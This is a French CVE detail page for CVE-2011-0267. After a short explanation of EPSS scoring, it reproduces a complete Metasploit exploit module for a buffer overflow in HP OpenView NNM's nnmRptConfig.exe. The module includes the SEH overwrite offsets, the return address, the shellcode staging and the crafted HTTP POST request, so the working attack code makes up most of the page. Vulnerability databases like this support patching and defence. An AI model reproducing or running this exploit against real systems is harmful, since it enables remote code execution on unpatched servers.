CVE-2011-0267 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: hp_nnm_nnmrptconfig_schdparams.rb 12121 2011-03-24 00:49:33Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info={}) super(update_info(info, 'Name' => "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow", 'Description' => %q{ This module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs, the overflow occurs during a ov.sprintf_new() call, which allows an attacker to overwrite data on the stack, and gain arbitrary code execution. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 12121 $", 'Author' => ['sinn3r'], 'References' => [ ['CVE', '2011-0267'], ['OSVDB', '70473'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-009/'], ], 'Payload' => { 'BadChars' => "\x00\x26\x2b", }, 'DefaultOptions' => { 'ExitFunction' => "seh", 'AutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ [ 'NNM 7.53 - Windows Server 2003 Ent', { 'Ret' => 0x5A30532D, #POP/POP/RET OvWww.dll 'Offset' => 46919, #Offset to SEH chain 'Pops' => 13, #Number of POPADs needed to find a bigger space with our payload 'Payloadoffset' => 57, #Offset to the payload }], ], 'DisclosureDate' => "Jan 10 2011")) register_options( [Opt::RPORT(80)], self.class ) end def exploit nops = make_nops(1000)*70 sploit = nops[0, target['Offset']] sploit << generate_seh_record(target.ret) sploit << "\x61"*target['Pops'] sploit << "\xff\xe1" #JMP ECX sploit << nops[0, target['Payloadoffset']] sploit << payload.encoded sploit << "\x44"*(70000-sploit.length) data = "Content&Action=Create&" data << "Template=Avail/CRAvail&" data << "Operation=Apply&" data << "Params=schdParams+nameParams&" data << "schdParams=#{sploit}%7Cmonthtodate&" data << "nameParams=text1%3DAAAA%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1" connect send_request_raw({ 'uri' => '/OvCgi/nnmRptConfig.exe', 'data' => data, 'version' => '1.1', 'method' => 'POST', 'headers' => { 'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language' => 'en-us,en;q=0.5', 'Accept-Encoding' => 'gzip,deflate', 'Accept-Chrarset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Keep-Alive' => '300', 'Connection' => 'Keep-Alive', 'Cache-Control' => 'mag-age=0', 'Content-Length' => data.length, 'Content-Type' => 'application/x-www-form-urlencoded', } }, 3) handler disconnect end end